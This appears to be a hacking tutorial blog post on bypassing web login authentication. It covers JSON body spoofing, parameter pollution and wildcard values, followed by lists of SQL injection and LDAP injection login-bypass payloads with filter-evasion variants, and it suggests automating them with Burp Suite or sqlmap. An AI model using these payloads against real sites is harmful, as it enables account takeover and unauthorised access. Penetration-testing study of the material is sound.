Introduction to Authentication and Authorization

One of the most obvious things us as hackers need to do is bypass authentication methods. As authentication and authorization are different, you can be be authenticated without being authorized to have that authentication level. Some of these methods will allow you to elevate your priveleges into different parts of websites (or their respective services), let you log in as another user and perform an account takeover, or gain Administrator level access.

Note: This writeup pairs well with my other web hacking writeup, found here.

Fun with PHP, and the way webservers work

Primarily your issue is usually finding a leg up and a way to bypass the filters they are using to prevent injections. Some of these teniques also include WAF evasion.

You should first always check if they left the restricted pages accessable by your own initial userlevel… it happens.

Sometimes you can send a JSON object even if POST is disallowed with a GET request, change the Content-Type to JSON with 

1

Content-Type: application/json
, and the body containing the JSON you need to spoof a login by sending something like 
1

password":{"password": 1}
.

You can send your userid twice, with a valid logged in user and at the same time as a user in a different account you would like to pivot to: 

1

blah?id=realuser&id=fakeuser

You can also send raw JSON with a wildcard to tell some things “anything” or “all”, which would look like: 

1

{"user_id":"*"}
.

Tricks that work against backend SQL databases

' or 1=1--
' or true() or '
admin' or '1'='2
or 1=1#
or 1=1/*

If the 

1

'
character is being filtered then you can try mangling it like:

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

You can also try varying case to trick some filters:

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

You can try this whole list (downloadable here) taken from hacktricks.xyz (thank you!), first with each line as the username and password, if that does not work you can alternate using it in username or password.

If you know the login is LDAP injectable

You can also try these injections that may work with a LDAP server:

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

How to do this enmasse

I would use use burpsuite and set it up to load the large list first and try all the different injection styles against it, then analyze the results. Some of this is also covered in an autonomous way through a tool called Sqlmap. Both of these tools are super useful in their own right, and may get their own independant article soon.

Happy hacking, and hope you can pop a login!
